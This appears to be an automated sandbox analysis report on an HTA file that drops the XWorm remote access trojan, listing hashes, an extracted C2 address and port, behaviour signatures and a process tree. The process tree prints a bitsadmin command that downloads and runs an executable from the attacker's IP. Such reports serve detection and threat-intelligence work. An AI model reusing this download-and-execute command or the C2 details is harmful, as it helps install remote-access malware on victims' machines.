Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/04/2024, 18:09

General

  • Target

    e81963d4c5a431f529c7669d3595a943.hta

  • Size

    834B

  • MD5

    e81963d4c5a431f529c7669d3595a943

  • SHA1

    82ac49f24caad73263ae461a2c1c7546b1ba9ded

  • SHA256

    cf6cab6b405f7e849e6585f6f4c1ae3fd155b75d8ceb197bd0cf46a9b4c5f91b

  • SHA512

    2ba83def4a81ede89bd54a5c0d4b4592985c13a10507b9a2dfb45c46e6e234d54dc14f98562eb2d3d3766e28290e83175c098a6203dd52effacc0176da7bb209

Score
10/10

Malware Config

Extracted

Family

xworm

C2

210.246.215.82:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    WindowsNT.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\e81963d4c5a431f529c7669d3595a943.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5024
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://210.246.215.82/s.exe C:\ProgramData\s.exe
      2⤵
      • Download via BitsAdmin
      PID:1924
    • C:\ProgramData\s.exe
      "C:\ProgramData\s.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4260

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/4260-0-0x0000000000FE0000-0x000000000103A000-memory.dmp

          Filesize

          360KB

        • memory/4260-1-0x00007FFAD55B0000-0x00007FFAD6071000-memory.dmp

          Filesize

          10.8MB

        • memory/4260-2-0x00000000030C0000-0x00000000030D0000-memory.dmp

          Filesize

          64KB

        • memory/4260-3-0x00007FFAD55B0000-0x00007FFAD6071000-memory.dmp

          Filesize

          10.8MB